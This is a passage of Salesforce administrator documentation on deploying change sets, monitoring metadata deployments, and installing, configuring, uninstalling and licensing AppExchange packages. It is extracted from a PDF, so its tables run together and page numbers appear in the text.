To deploy a change set: 1. Click Your Name > Setup > Deploy > Inbound Change Sets. 2. In the Change Sets Awaiting Deployment list, click the name of the change set you want to deploy. 3. Click Deploy. A change set is deployed in a single transaction. If the deployment is unable to complete for any reason, the entire transaction is rolled back. After a deployment completes successfully, all changes are committed to your organization and the change set cant be rolled back. Note: The Force.com platform requires that at least 75% of your code is covered by unit tests before you can deploy it to a production organization. Ideally, you should strive for 100% coverage. The code coverage restriction is not enforced for sandbox or Developer Edition organizations.

See Also:
Inbound Change Sets Viewing Inbound Change Sets Viewing Change Set Details Change Sets Overview

Monitoring Deployments
The size and complexity of the change set determines how long it takes for a change set to deploy. During this time, it can be helpful to monitor the deployment. To track the status of deployments that are in progress click Your Name > Setup > Deploy > Inbound Change Sets > Change Set Detail. Under the Deployment History related list, click View Results. Note: The Monitor Deployments page can be used for checking the status of deployments made through the Metadata API. However, change sets are not currently supported in the Monitor Deployments page.

2330

Deploy

Change Sets Implementation Tips

Change Sets Implementation Tips


Authorization required to upload changes Before you can deploy a change set from one organization to another, an administrator in the target organization must authorize uploads across the deployment connection between the two organizations. Deployment Connections list displays all connections The Deployment Connections list is automatically populated with your production organization and all sandboxes. It is possible to deploy between any of these organizations, but no other organizations. Change set connections unavailable during maintenance Authorizing deployment connections and uploading pages require information from the production organization, and are unavailable when production is undergoing maintenance. During this time you can construct outbound change sets but not upload them. Sandboxes must be available If an organization has no sandboxes provisioned, the user may see an Insufficient Privileges error on the Deployment Connections page. Deployment doesnt automatically restart If an error occurs during change set validation or deployment, you must manually restart the process. Be sure neither of the organizations is already locked, undergoing maintenance, or otherwise inaccessible. Deployment is a one-way transaction A change set is deployed in a single transaction. If the deployment is unable to complete for any reason, the entire transaction is rolled back. After a deployment completes successfully, all changes are committed to your organization and the change set cant be rolled back. User fields arent preserved Changes deployed in a change set or through Metadata API dont preserve user fields, such as the value of Workflow Email Notifications Recipients, or a Dashboard Running User. These fields are either removed or replaced with the deploying user, depending on the context.

See Also:
Change Sets Best Practices Change Sets Overview

Change Sets Best Practices


Deploy all dependent components Make sure each outbound change set contains all interdependent components that don't exist in the target organization. If you try to deploy a component that refers to another component missing from the target organization and from the change set, the deployment fails.

2331

Deploy

Change Sets Best Practices

Change sets give you fine-grained control over what you deploy. For example, you can migrate custom fields individually. To deploy a custom object and all of its fields, you must add the custom object and every field to the change set; adding just the custom object to the change set won't cause deployment to fail, but results in an empty custom object. Add permissions and access settings to outbound change sets Adding profiles or permission sets to outbound change sets allows administrators to migrate permissions for users so they can access the new functionality. Profiles contain access settings for more components than permission sets, including page layouts, record types, and tab settings. However, permission sets contain access to standard object permissions, standard field permissions, and user permissions (such as API Enabled). Clone a change set to add dependent components to an uploaded change set After you upload a change set, you can't change its contents. If you need to add dependent components to a change set you already uploaded, clone the change set, add the dependent components, and then upload it again. Plan deployments around maintenance schedule Plan your deployment activities around the maintenance schedule for both your production and sandbox organizations. Some features require information from your production organization when accessed from a sandbox. In addition, the originating organization is locked while validating an outbound change set, and the target organization is locked while deploying an inbound change set. (When change sets lock an organization, you can still read and write data to the organization, but you cant make any setup changes that would modify the metadata.) Validate change sets before deployment You can perform a test deployment of an inbound change set to view the success or failure messages that would occur with an actual deployment. This is a good idea if you are planning a deployment on a schedule (for example during low-use hours) and want to determine if the deployment will succeed ahead of time. However, you don't need to perform a test deployment every time you deploy, as this process takes time to complete and the organization is locked for the duration. (You can still read and write data to the organization, but you cant make any setup changes that would modify the metadata.) To test deploy an inbound change set, click its name and then click Validate. View component details You can view the XML representation of a component before you upload an outbound change set or deploy an inbound change set. Limit change sets to 5,000 files Change sets are limited to 5,000 files. If your change set exceeds this limit, you can create separate change sets for email templates, dashboards, and reports. These components are often the most numerous and have fewer dependencies. Delete or rename components using the Web interface You can't use change sets to delete or rename components. To delete components, use the Web interface on the target organization. To rename a component, first delete the component on the target organization and then upload the new component in a change set.

2332

Deploy

Monitoring Metadata Deployments

Plan for tests to run in the target organization When a change set is deployed to a production organization, all of the Apex tests in that organization are run, regardless of whether the classes or tests are part of the change set. If the target organization is a sandbox, however, tests arent automatically run.

See Also:
Change Sets Implementation Tips Change Sets Overview

Monitoring Metadata Deployments


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view metadata deployments: Modify All Data

You can use the Metadata API to deploy XML file representations of components into an organization. A component is an instance of a metadata type in the Metadata API. For example, CustomObject is a metadata type for custom objects, and the MyCustomObject__c component is an instance of a custom object. The easiest way to access the Metadata API is to use the Force.com IDE or Force.com Migration Tool. These tools are built on top of the Metadata API and use the standard Eclipse and Ant tools respectively to simplify the task of working with the Metadata API. The deploy call in the Metadata API is asynchronous and may take a while to complete. The Force.com IDE and Force.com Migration Tool use the deploy call to move XML file representations of components into an organization. To track the status of deployments that are in progress or completed in the last 24 hours for these tools or other clients that are deploying metadata, click Your Name > Setup > Deploy > Monitor Deployments. The Deployments In Progress list contains the following columns: Column
Deployment Id Created By Start Time Validate Only

Description A unique identifier used to track the deployment. The name of the user performing the deployment. The date and time when the deployment started. Indicates whether this deployment is being used to check the validity of the deployed files without making any changes in the organization. A validate-only deployment does not deploy any components or change the organization in any way. The following values are possible: QueuedThe deployment has not started. It is waiting in a queue. In ProgressThe deployment has started, but has not completed yet.

Status

2333

Deploy

Monitoring Metadata Deployments

Column

Description Processing Type: typeThe deployment has started, and is processing a metadata type, where type is a metadata type, such as CustomObject. Processing nameThe deployment has started, and is processing a component, where name is a component name, such as MyCustomObject__c. Running Test ApexClass.testNameAn Apex test class is running, where ApexClass is the Apex class name and testName is the name of the test.

Components

The progress of the deployment. For example, 10 / 15 (3 errors) indicates that ten components have been processed successfully out of a total of 15. There were errors for three other components processed so far. The progress of the Apex tests that have been run. For example, 13 / 20 (2 errors) indicates that 13 tests have been run successfully out of a total of 20. There were errors for two other tests that have run so far. The value for the total number of tests is not accurate until the test phase of the deployment has started.

Tests

The Completed Deployments Last 24 Hours list contains the following columns. Completed deployments are removed from the list 24 hours after completion. Column
Deployment Id Created By Start Time End Time Validate Only

Description A unique identifier used to track the deployment. The name of the user who performed the deployment. The date and time when the deployment started. The date and time when the deployment completed. Indicates whether this deployment is being used to check the validity of the deployed files without making any changes in the organization. A validate-only deployment does not deploy any components or change the organization in any way. The following values are possible: CompletedThe deployment completed successfully. Completed with ErrorsThe deployment completed, but some components failed to deploy or some tests failed. This status cannot happen in a production organization as any errors cause the deployment to be rolled back. FailedThe deployment had some errors and no changes were made to the organization. The number of components, including those with errors, that were processed in the deployment. For example, 10 (1 error) indicates that ten components were processed and there was an error for one component.

Status

Components

2334

Installed Packages

Installed Packages

Column
Tests

Description The number of Apex tests, including those with errors, that were run. For example, 13 (2 errors) indicates that 13 tests were run and there were errors for two tests.

See Also:
Metadata API Developer's Guide

INSTALLED PACKAGES
Installed Packages
You can install packages into your Salesforce organization, and then configure and manage them by clicking Your Name > Setup > Installed Packages.

Installing a Package
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To install packages: Download AppExchange Packages

If you received an installation link, click the link and skip to this step on page 2335. Otherwise follow this procedure from the beginning. Note: Only one person in your organization can install or upload a package at a time.

1. Click the AppExchange link in your organization or go directly to www.appexchange.com. 2. Browse the AppExchange site to find the application you want to install. 3. Click Get It Now from the application information page. Note: If the listing does not have a Get It Now option, contact the publisher for more information.

4. Enter your username and password, read the user terms, select the checkbox, and click Continue.

2335

Installed Packages

Installed Packages

Note: If you are installing into a sandbox, replace the www.salesforce.com portion of the installation link with test.salesforce.com. Note that this package is removed from your sandbox organization whenever you create a new sandbox copy. 5. If the package is password protected, enter the password you received from the publisher. 6. Review the package items and click Continue. Note: Some package items, such as validation rules, record types, or custom settings may not display in the Package Item list but are included in the package and installed with the other items. If there are no items in the Package Items list, the package may contain only minor changes not recorded. 7. If it is a managed package, review the remote access applications that are listed to ensure they are acceptable, and click Next to continue or Cancel to cancel package installation. Note: Every remote access application represents a trusted application that is granted access to a user's Salesforce data after the user and the application have been verified. 8. If the installing package contains a remote site setting, you need to approve access to websites outside of Salesforce. The dialog box lists all the websites that the package communicates with. It is highly recommended that a website uses SSL (secure sockets layer) when transmitting data. After making sure that the websites are safe, check Yes, grant access to these third-party websites and click Continue, or click Cancel to cancel installing the package. Warning: By installing remote site settings, you are allowing the package to transmit data to and from a third party website outside the Salesforce service. Contact the publisher before using the package to understand what data is transmitted and how it's used. If you have an internal security contact, ask them to review the application and understand its impact before use. 9. Review the API access that package components have been granted to ensure they are acceptable. For more information, see About API and Dynamic Apex Access in Packages on page 2340. 10. When installing unmanaged packages, you can select Resolve Naming Conflicts Automatically. When this is selected, Salesforce changes the name of the component in the package being installed. 11. In Enterprise, Unlimited, and Developer Editions, choose a security option, and click Next: Grant access to admins only Specifies the following settings on the installing administrators profile and any profile with the "Customize Application" permission: Object permissionsRead, Create, Edit, Delete, View All, and Modify All are all enabled Field-level securitySet to visible and editable for all fields Apex classesEnabled Visualforce pagesEnabled App settingsEnabled Tab settingsDetermined by the package creator Page layout settingsDetermined by the package creator Record Type settingsDetermined by the package creator

After installation, if you have Enterprise, Unlimited, or Developer Edition, you can set the appropriate user and object permissions on custom profiles as needed.

2336

Installed Packages

Installed Packages

Grant access to all users Specifies the following settings on all internal custom profiles: Object permissionsRead, Create, Edit, Delete, View All, and Modify All are all enabled Field-level securitySet to visible and editable for all fields Apex classesEnabled Visualforce pagesEnabled App settingsEnabled Tab settingsDetermined by the package creator Page layout settingsDetermined by the package creator Record Type settingsDetermined by the package creator Note: The Customer Portal User, Customer Portal Manager, High Volume Customer Portal, Authenticated Website, Partner User, and standard profiles receive no access.

Select security settings Allows you to choose the usage access for all existing custom profiles in your organization. You can set each profile to have full access or no access for the new package and all its components. Note: Depending on the type of install, you might not see this step. For example, in Group and Professional Editions, or if the package does not contain a custom object, Salesforce skips this step and the next, giving all users full access. Permission sets aren't included in the security options. If your package includes permission sets, assign them after installation.

12. In Enterprise, Unlimited, and Developer Editions, if you chose Select security settings, select the level of access to give users in each profile and click Next. Standard options are: Full AccessSpecifies the following settings for each profile: Object permissionsRead, Create, Edit, Delete, View All, and Modify All are all enabled Field-level securitySet to visible and editable for all fields Apex classesEnabled Visualforce pagesEnabled App settingsEnabled Tab settingsDetermined by the package creator Page layout settingsDetermined by the package creator Record Type settingsDetermined by the package creator

No AccessSpecifies the same settings as Full Access, except all object permissions are disabled.

You might see other options if the publisher has included settings for custom profiles. You can incorporate the settings of the publishers custom profiles into your profiles without affecting your existing settings. Choose the name of the profile settings in the drop-down list next to the profile you want them applied to. The current settings in that profile remain intact.

2337

Installed Packages

Installed Packages

Alternatively, click Set All next to an access level to give this setting to all user profiles. 13. Click Install. If your installation fails, see Why did my install or upgrade fail? on page 3794. Note: During installation, Salesforce checks and verifies any dependencies. An installers organization must meet all dependency requirements listed on the Show Dependencies page or else the installation will fail. For example, the installer's organization must have divisions enabled to install a package that references divisions. Note: When you install a component that contains Apex, all unit tests for your organization are run, including the unit tests contained in the new package. If a unit test relies on a component that is initially installed as inactive, such as a workflow rule, this unit test may fail. You can select to install regardless of unit test failures. 14. Click OK. 15. Configure components in the package. 16. If the package includes permission sets, assign the included permission sets to your users who need them. In managed packages, you can't make changes to permission sets that are included in the package, but subsequent upgrades happen automatically. If you clone a permission set that comes with a managed package or create your own, you can make changes to the permission set, but subsequent upgrades won't affect it. 17. If you are reinstalling a package and want to re-import the package data using the export file you received after uninstalling, see Importing Package Data on page 2349. 18. If you installed a managed package, click Manage Licenses, to assign licenses to users.

See Also:
Uninstalling a Package Managing Package Installations Managing Licenses for Installed Packages Upgrading Packages Configuring Installed Packages About API and Dynamic Apex Access in Packages Apex Class Security Overview Installation Guide: Installing Apps from Force.com AppExchange

Configuring Installed Packages


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To install packages: To configure installed packages: Download AppExchange Packages Customize Application

Before making the package available to your users, make any necessary changes for your implementation. Depending on the contents of the package, you might need to customize the following items:

2338

Installed Packages

Installed Packages

Configure Option If the publisher included a link to an external website with information about configuration, AppExchange Downloads page displays a Configure option next to the package when you click Your Name > Setup > Installed Packages. Click Configure to view the publisher's suggested configurations. Custom Fields and Custom Links Add any necessary custom fields or links to the new custom objects. Custom Object Enable tracking on objects that aren't in this package, but that have fields that are tracked in Chatter. For example, if you want to track a custom field on Account, you must make sure the Account standard object is enabled for tracking. Custom Report Types If the Report Type Name of a custom report type matches one used within your organization, change the Report Type Name after you install the package to avoid any confusion between the two report types. Dashboard Running User The Running User for any dashboards are set to the user installing the package. You can edit the properties of the dashboard and change the Running User to a user that has the security settings you want applied to the dashboard. Folders When apps contain documents, email templates, reports, or dashboards, Salesforce creates new folders in the installers organization using the publishers folder names. Make sure these folder names are unique in your organization. All users can see new folders. Configure folder settings before you deploy if you want them to have limited visibility. Home Page Layouts Custom home page layouts included in the package are not assigned to any users. To make them available to your users, assign them to the appropriate profiles. List Views List views included in apps are visible to all users. Change the visibility of these list views if necessary. Page Layouts All users are assigned the default page layout for any custom objects included in the package. Administrators of Enterprise, Unlimited, and Developer Edition organizations can configure the page layout for the appropriate users. If a custom object in the package includes any relationships to standard objects, add them as related lists on the appropriate page layouts. If the package includes any custom links, add them to the appropriate page layouts. If your organization has advanced currency management enabled, currency roll-up summary fields are invalid if they are on accounts and summarizing opportunity values, or on opportunities and summarizing custom object values. Remove these fields from any page layouts. Permission Sets Assign permission sets included in a package to the users who need access to the package. You can't edit permission sets that are included in a managed package. If you clone a permission set that comes with the package or create your own, you can make changes to the permission set, but subsequent upgrades won't affect it.

2339

Installed Packages

Installed Packages

Translation Workbench Translated values for installed package components are also installed for any language that the developer has included. Any package components the developer has customized within setup, such as a custom field or record type, display in the installers setup pages in the developers language (the language used when defining these components). Users in the installers organization automatically see translated values if their personal language is included in the package. Additionally, installers can activate additional languages as long as the Translation Workbench is enabled. Workflow Alerts If the recipient of a workflow alert is a user, Salesforce replaces that user with the user installing the package. You can change the recipients of any installed workflow alerts. Workflow Field Updates If a field update is designed to change a record owner field to a specific user, Salesforce replaces that user with the user installing the package. You can change the field value of any installed field updates. Workflow Outbound Messages Salesforce replaces the user in the User to send as field of an outbound message with the user installing the package. You can change this value after installation. Workflow Rules Workflow rules are installed without any time-based triggers that the developer might have created. Set up time-based triggers as necessary. Workflow Tasks Salesforce replaces the user in the Assigned To field with the user installing the package. You can change this value after installation. Make any more customizations that are necessary for your implementation. Note: Anything you add to a custom app after installation will be removed with the custom app if you ever uninstall it.

See Also:
Installing a Package About API and Dynamic Apex Access in Packages

About API and Dynamic Apex Access in Packages


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Package components have access via dynamic Apex and the API to standard and custom objects in the organization where they are installed. Developers of Force.com AppExchange packages that are intended for external customers (also called third-party developers or partners) may wish to restrict this access. Restricting access makes packages safer for administrators

2340

Installed Packages

Installed Packages

to install. Also, administrators who install such packages may wish to restrict this access after installation, even if the package developers have not, for improved security.
API Access is a package setting that controls the dynamic Apex and API access that s-controls and other package components

have to standard and custom objects. The setting displays for both the developer and installer on the package detail page. With this setting: The developer of an AppExchange package can restrict API access for a package before uploading it to Force.com AppExchange. Once restricted, the package components receive Apex and API sessions that are restricted to the custom objects in the package. The developer can also enable access to specific standard objects, and any custom objects in other packages that this package depends on. The installer of a package can accept or reject package access privileges when installing the package to his or her organization. After installation, an administrator can change Apex and API access for a package at any time. The installer can also enable access on additional objects such as custom objects created in the installers organization or objects installed by unrelated packages.

There are two possible options for the API Access setting: The default Unrestricted, which gives the package components the same API access to standard objects as the user who is logged in when the component sends a request to the API. Apex runs in system mode. Unrestricted access gives Apex read access to all standard and custom objects. Restricted, which allows the administrator to select which standard objects the components in the package can access. Further, the components in restricted packages can only access custom objects in the current package if the user has the object permissions that provide access to them.

Considerations for API and Dynamic Apex Access in Packages By default, dynamic Apex can only access the components with which the code is packaged. To provide access to standard objects not included in the package, the developer must set the API Access. 1. 2. 3. 4. 5. Go to Your Name > Setup > Create > Packages. Select the package that contains a dynamic Apex that needs access to standard objects in the installing organization. In the Package Detail related list, click Enable Restrictions or Restricted, whichever is available. Set the access level (Read, Create, Edit, Delete) for the standard objects that the dynamic Apex can access. Click Save.

Choosing Restricted for the API Access setting in a package affects the following: API access in a package overrides the following user permissions: Author Apex Customize Application Edit HTML Templates Edit Read Only Fields Manage Billing Manage Call Centers Manage Categories Manage Custom Report Types Manage Dashboards Manage Letterheads Manage Package Licenses Manage Public Documents

2341

Installed Packages

Installed Packages

Manage Public List Views Manage Public Reports Manage Public Templates Manage Users Transfer Record Use Team Reassignment Wizards View Setup and Configuration Weekly Export Data

If Read, Create, Edit, and Delete access are not selected in the API access setting for objects, users do not have access to those objects from the package components, even if the user has the Modify All Data and View All Data permissions. Salesforce denies access to Web service and executeanonymous requests from an AppExchange package that has Restricted access. For more information about executeanonymous and accessing Web services with Apex, see the Force.com Apex Code Developer's Guide.

The following considerations also apply to API access in packages: Workflow rules and Apex triggers fire regardless of API access in a package. If a component is in more than one package in an organization, API access is unrestricted for that component in all packages in the organization regardless of the access setting. If Salesforce introduces a new standard object after you select restricted access for a package, access to the new standard object is not granted by default. You must modify the restricted access setting to include the new standard object. When you upgrade a package, changes to the API access are ignored even if the developer specified them. This ensures that the administrator installing the upgrade has full control. Installers should carefully examine the changes in package access in each upgrade during installation and note all acceptable changes. Then, because those changes are ignored, the administrator should manually apply any acceptable changes after installing an upgrade. S-controls are served by Salesforce and rendered inline in Salesforce. Because of this tight integration, there are several means by which an s-control in an installed package could escalate its privileges to the users full privileges. In order to protect the security of organizations that install packages, s-controls have the following limitations: For packages you are developing (that is, not installed from AppExchange), you can only add s-controls to packages with the default Unrestricted API access. Once a package has an s-control, you cannot enable Restricted API access. For packages you have installed, you can enable access restrictions even if the package contains s-controls. However, access restrictions provide only limited protection for s-controls. Salesforce recommends that you understand the JavaScript in an s-control before relying on access restriction for s-control security. If an installed package has Restricted API access, upgrades will be successful only if the upgraded version does not contain any s-controls. If s-controls are present in the upgraded version, you must change the currently installed package to Unrestricted API access.

See Also:
Installing a Package Configuring Installed Packages

2342

Installed Packages

Uninstalling a Package

Uninstalling a Package
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To uninstall packages: Download AppExchange Packages

You can remove any installed package, including all of its components and all data in the package. Additionally, any custom fields, links, or anything else you added to the custom app after installation are also removed. To remove a package: 1. 2. 3. 4. Click Your Name > Setup > Installed Packages. Click Uninstall next to the package that you want to remove. Select Yes, I want to uninstall... and click Uninstall. After an uninstall, Salesforce automatically creates an export file containing the package data, as well as any associated notes and attachments. When the uninstall is complete, Salesforce sends an email containing a link to the export file to the user performing the uninstall. The export file and related notes and attachments are listed below the list of installed packages. We recommend storing the file elsewhere because it is only available for a limited period of time after the uninstall completes. Tip: If you reinstall the package later and want to reimport the package data, see Importing Package Data on page 2349.

Notes on Uninstalling Packages


If you are uninstalling a package that includes a custom object, all components on that custom object are also deleted. This includes custom fields, validation rules, s-controls, custom buttons and links, as well as workflow rules and approval processes. You cannot uninstall a package whenever any component in the package is referenced by a component that will not get included in the uninstall. For example: When an installed package includes any component on a standard object that another component references, Salesforce prevents you from uninstalling the package. This means that you can install a package that includes a custom user field and build a workflow rule that gets triggered when the value of that field is a specific value. Uninstalling the package would prevent your workflow from working. When you have installed two unrelated packages that each include a custom object and one custom object component references a component in the other, Salesforce prevents you from uninstalling the package. This means that you can install an expense report app that includes a custom user field and create a validation rule on another installed custom object that references that custom user field. However, uninstalling the expense report app prevents the validation rule from working. When an installed folder contains components you added after installation, Salesforce prevents you from uninstalling the package. When an installed letterhead is used for an email template you added after installation, Salesforce prevents you from uninstalling the package.

2343

Installed Packages

Managing Package Installations

Uninstall export files contain custom app data for your package, excluding some components, such as documents and formula field values.

See Also:
Installing a Package Managing Package Installations Managing Licenses for Installed Packages Upgrading Packages Importing Package Data Installation Guide: Installing Apps from the AppExchange

Managing Package Installations


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To uninstall packages: To assign licenses for a managed package: To download or delete the export file for an uninstalled package: Download AppExchange Packages Manage Package Licenses Download AppExchange Packages

View a list of the packages you installed from AppExchange and data export files from uninstalled packages by clicking Your Name > Setup > Installed Packages. These packages can be either managed or unmanaged. Note: Salesforce only lists license information for managed packages. For unmanaged packages, the license-related fields, such as Allowed Licenses, Used Licenses, and Expiration Date, will display the value N/A. Using this list, you can: Click Uninstall to remove the package and all its components from your Salesforce organization. See Uninstalling a Package on page 2343. Click Manage Licenses to assign available licenses to users in your organization. This is only available for licensed managed packages. For more information, see Managing Licenses for Installed Packages on page 2350. Note: If you purchased a site license or if the managed package is not licensed, Salesforce automatically assigns licenses to all your users and the ability to manage licenses is not available. Your users can use the package as long as they have the appropriate permissions. Click Configure if the publisher has included a link to an external website with information about configuring the package. Click the package name to view details about this package. View the publisher of the package. View the status of the licenses for this package. Available values include:

2344

Installed Packages

Managing Package Installations

Trial Active Suspended Expired Free

This field is only displayed if the package is managed and licensed. Track the number of licenses available (Allowed Licenses) and the number of licenses that are assigned to users (Used Licenses). View the date your licenses for this package are scheduled to expire. View the date your licenses were installed. Note: If you have not installed a licensed managed package, the Publisher, Status, Allowed Licenses, Used Licenses, and Expiration Date fields do not appear. After an uninstall, Salesforce automatically creates an export file containing the package data, as well as any associated notes and attachments. When the uninstall is complete, Salesforce sends an email containing a link to the export file to the user performing the uninstall. The export file and related notes and attachments are listed below the list of installed packages. We recommend storing the file elsewhere because it is only available for a limited period of time after the uninstall completes. Using this list, you can: Click Download to open or store the export file. Click Del to delete the export file.

See Also:
Installing a Package Uninstalling a Package Managing Licenses for Installed Packages Upgrading Packages Displaying Installed Package Details Importing Package Data

2345

Installed Packages

Managing Package Installations

Displaying Installed Package Details


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To uninstall packages: To manage user licenses for an AppExchange package: Download AppExchange Packages Manage Package Licenses

The package detail page displays essential details about the package you installed from AppExchange. To access the package detail page, click Your Name > Setup > Installed Packages, then click the name of the package you want to view. From this page, you can: Click Uninstall to remove the package and all its components from your Salesforce organization. See Uninstalling a Package on page 2343. Click Manage Licenses to assign available licenses to users in your organization. This is only available for licensed managed packages. See Managing Licenses for Installed Packages on page 2350. Note: If you purchased a site license or if the managed package is not licensed, Salesforce automatically assigns licenses to all your users and the ability to manage licenses is not available. Your users can use the package as long as they have the appropriate permissions. Optionally, click View Dependencies and review a list of components that rely on other components, permissions, or preferences within the package. An entity may include such things as an s-control, a standard or custom field, or an organization-wide setting like multicurrency. Your package cannot be installed unless the installer has the listed components enabled or installed. For more information on dependencies, see Understanding Dependencies on page 2063. Click Done to return to the Package detail page.

Viewing Installed Packages The installed package page lists the following package attributes (in alphabetical order): Attribute
Action

Description Can be one of two options: Uninstall Manage Licenses The total number of licenses you purchased for this package. The value is Unlimited if you have a site license for this package. This field is only displayed if the package is managed and licensed. A detailed description of the package. The date of the package installation.

Allowed Licenses

Description Installed Date

2346

Installed Packages

Managing Package Installations

Attribute
Expiration Date

Description The date that this license expires, based on your terms and conditions. The expiration date is Does Not Expire if the package will never expire.This field is only displayed if the package is managed and licensed. The one to 15-character alphanumeric identifier that distinguishes a package and its contents from packages of other developers on AppExchange. The name of the package, given by the publisher. The publisher of an AppExchange listing is the Salesforce user or organization that published the listing. This field is only displayed if the package is managed and licensed. A list of the remote access applications that can have access to a user's Salesforce data after the user and the application have been verified. The state of a package. Available values include: Trial Active Suspended Expired Free This field is only displayed if the package is managed and licensed.

Namespace

Package Name Publisher

Remote Access

Status

Used Licenses

The total number of licenses that are already assigned to users. This field is only displayed if the package is managed and licensed. The version name for this package version. The version name is the marketing name for a specific release of a package. It is more descriptive than the Version Number.

Version Name

Viewing Installed Package Details The installed package detail page lists the following package attributes (in alphabetical order): Attribute
API Access

Description The type of access that the API and dynamic Apex code that package components have. The default setting is Unrestricted, which means that all package components that access the API have the same access as the user who is logged in. Click Enable Restrictions or Disable Restrictions to change the API and dynamic Apex access permissions for a package. For more information about API and dynamic Apex access for managed package components, see Managing API and Dynamic Apex Access in Packages on page 1859.

2347

Installed Packages

Managing Package Installations

Attribute
Description First Installed Version Number

Description A detailed description of the package. The first installed version of the package in your organization. This field is only displayed for managed packages. You can reference this version and any subsequent package versions that you have installed. If you ever report an issue with a managed package, you should include the version number in this field when communicating with the publisher. The name of the user that installed this package in your organization. The name of the last user to modify this package, including the date and time. The one to 15-character alphanumeric identifier that distinguishes a package and its contents from packages of other developers on AppExchange. The name of the package, given by the publisher. Indicates whether this is a managed or unmanaged package. The publisher of an AppExchange listing is the Salesforce user or organization that published the listing. This field is only displayed if the package is managed and licensed. The version name for this package version. The version name is the marketing name for a specific release of a package. It is more descriptive than the Version Number. The version number for the latest installed package version. The format is majorNumber.minorNumber.patchNumber, such as 2.1.3. The version number represents a release of a package. The Version Name is a more descriptive name for the release. Note that the patchNumber is generated only when you create a patch. If there is no patchNumber, it is assumed to be zero (0).

Installed By Modified By Namespace

Package Name Package Type Publisher

Version Name

Version Number

You can also see a list of the components included in an installed package. The following component information is displayed (in alphabetical order): Attribute
Name Parent Object

Description Displays the name of the component. Displays the name of the parent object a component is associated with. For example, a custom object is the parent of a custom field.

2348

Installed Packages

Managing Package Installations

Attribute
Type

Description Displays the type of the component.

See Also:
Managing Package Installations Importing Package Data

Importing Package Data


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To import Force.com AppExchange package data: The permissions required to use the import tool you choose, such as the import wizard or Data Loader.

When you uninstall an AppExchange package, Salesforce automatically creates an export file containing the package data as well as any associated notes and attachments. If you choose to install the package again, you can import this data. To import your AppExchange package data, use one of the following tools that is available for your Edition: For Group Edition, use the appropriate import wizard. For Professional Edition, use the appropriate import wizard or any compatible salesforce.com ISV Partner integration tool on http://sites.force.com/appexchange. For Enterprise, Developer, and Unlimited Edition, use the Data Loader.

Notes on Importing AppExchange Package Data Salesforce converts date fields into date/time fields upon export. Convert the appropriate fields into date fields before you import. Salesforce exports all date/time fields in Greenwich Mean Time (GMT). Before importing these fields, convert them to the appropriate time zone. The value of auto number fields may be different when you import. To retain the old values, create a new custom auto number field on a custom object before importing the data. Salesforce updates system fields such as Created Date and Last Modified Date when you import. To retain the old values for these fields, contact salesforce.com support. Relationships are not included in the export file. Recreate any master-detail or lookup relationships after importing your data. Record type IDs are exported but not the record type name. Field history is not exported.

2349

Installed Packages

Managing Licenses for Installed Packages

Recreate any customizations that you made to the package after installation.

See Also:
Managing Package Installations Displaying Installed Package Details Uninstalling a Package Installing a Package

Managing Licenses for Installed Packages


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To manage licenses for a AppExchange package: Manage Package Licenses

When you install a licensed managed package in your organization from AppExchange, you purchase a certain number of licenses from the package developer or publisher. You can assign each license to a user within your organization. If you assign all available licenses, but would like to grant licenses to additional users, you can reassign a license or purchase more. To get more licenses, contact the publisher of the managed package. Note: If you purchased a site license or if the managed package is not licensed, Salesforce automatically assigns licenses to all your users and the ability to manage licenses is not available. Your users can use the package as long as they have the appropriate permissions. 1. Click Your Name > Setup > Installed Packages. 2. Click Manage Licenses next to the package. Note: To assign licenses for a package, you must have access to the package and at least one available license.

To assign licenses to more users, click Add Users. For more information, see Assigning Licenses for Installed Packages on page 2352. To remove a license from a user, click Remove next to the user's name. To remove licenses from multiple users, click Remove Multiple Users. For information, see Removing Licenses for Installed Packages on page 2353. Click any column heading to sort the users in ascending order using the data in that column. Click the heading again to sort in descending order.

2350

Installed Packages

Managing Licenses for Installed Packages

If available, select fewer or more to view a shorter or longer display list.

See Also:
Installing a Package Uninstalling a Package Managing Package Installations Upgrading Packages Managing Packages Assigning Licenses for Managed Packages Assigning Licenses for Installed Packages Removing Licenses for Installed Packages Responding to License Manager Requests

Assigning Licenses for Managed Packages


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To edit users: To manage licenses for an AppExchange package: Manage Users Manage Package Licenses

When you install a licensed managed package in your organization from AppExchange, you purchase a certain number of licenses from the package developer or publisher. You can assign each license to a user within your organization. If you assign all available licenses, but would like to grant licenses to additional users, you can reassign a license or purchase more. To get more licenses, contact the publisher of the managed package. The Managed Packages related list on the user detail page lists all managed packages that user is assigned. Assigning a license for a managed package makes the package available to the user within Salesforce. Unmanaged packages will not appear on this list, as you cannot assign licenses for them. To assign a user to a license for one of the available managed packages: 1. Click Your Name > Setup > Manage Users > Users. 2. Click Assign Licenses from the Managed Packages list. 3. Select the package you want to assign to the user. All available managed packages are listed in the Unassigned Packages list. After selecting a package, Salesforce automatically moves it to the Selected Packages list. The Unassigned Packages list displays all packages that this user could access if assigned a license. Packages will not appear on this list if they are unmanaged, uninstalled, in use, or not available. Click a letter to view the packages that begin with that letter or click All to display all available managed packages. Click select shown to select all packages displayed in the Unassigned Packages list on the current page, adding them to the Selected Packages list below.

2351

Installed Packages

Managing Licenses for Installed Packages

Click deselect shown or deselect all to move packages from the Selected Packages area to the Unassigned Packages area.

4. Click Add. To revoke a license from this user, click the Remove link next to the appropriate package name.

See Also:
Managing Packages Managing Licenses for Installed Packages Assigning Licenses for Installed Packages Removing Licenses for Installed Packages

Assigning Licenses for Installed Packages


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To manage licenses for an AppExchange app: Manage Package Licenses

